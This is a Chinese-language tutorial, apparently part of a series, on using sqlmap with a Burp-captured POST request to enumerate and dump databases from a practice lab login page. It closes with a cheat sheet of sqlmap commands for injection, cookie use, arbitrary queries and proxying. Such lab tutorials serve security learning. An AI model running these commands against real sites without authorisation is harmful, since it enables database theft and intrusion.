- 上篇我们说到如何利用报错信息进行sql注入,那么本篇我们将会使用工具sqlmap对网站进行爆库
- 还是上篇的靶场,靶场由知识盒子提供,地址:https://tofu.exeye.run/sql/log_page
- 因为登录发出的是POST请求,所以我们首先需要用burp先开启抓包,随便输入用户名和密码,点击登录
- 然后将POST请求复制到记事本里保存为1.txt
然后在当前目录开启终端,需要用到的命令为
sqlmap -r "1.txt" -p psw --dbs -p参数意思是指定参数psw进行注入,因为上篇我们手动测试到密码处有注入点 --dbs的意思是爆出数据库名称
- 运行该命令,爆出数据库的所有库名
- 成功爆出两个库名,
information_schema
和twosecu1_ques_2
接下来选择一个数据库继续深入,我选择的是库
information_schema
,查看有哪些表,运行命令为:sqlmap -r "1.txt" -p psw -D information_schema --tables -D的参数是指定数据库名 --tables参数意思是列出数据库的所有表名
- 运行命令,可以得到指定数据库的所有表名
同理,获得一个表名之后我们也可以指定他的字段,比如列出表
ALL_PLUGINS
的字段sqlmap -r "1.txt" -p psw -D information_schema -T ALL_PLUGINS --columns 参数-T是指定表名的意思 --columns 列出指定表的所有字段
- 运行命令,查看
ALL_PLUGINS
的字段
最后就是爆出字段的内容了,运行命令为:
sqlmap -r "1.txt" -p psw -D information_schema -T ALL_PLUGINS -C PLUGIN_LIBRARY --dump 参数-C 用于指定字段名 --dump 爆出字段的值
- 运行命令,就能列出该字段的所有值了
- 所以只要有注入点,就能够指定参数,用sqlmap就能很方便地列出数据库所有的数据。
拓展:sqlmap常用命令
检查注入点
sqlmap -u "http://ooxx.com/a.php?id=1"
列数据库信息
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs
指定数据库名列出所有表sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname --tables
指定数据库名表名列出所有字段sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename --columns
指定数据库名表名字段dump出指定字段sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename -C columnname --dump
cookie 注入--cookie=COOKIE 在需要登录的地方,需要登录后的cookie
执行指定的 SQL 语句--sql-query=QUERY
代理注入--proxy="(http|https|socks4|socks5)://127.0.0.1:8087" 支持多种协议
POST注入sqlmap -r 1.txt 如果cookie很长,或者需要使用post注入,请抓包将数据存入1.txt中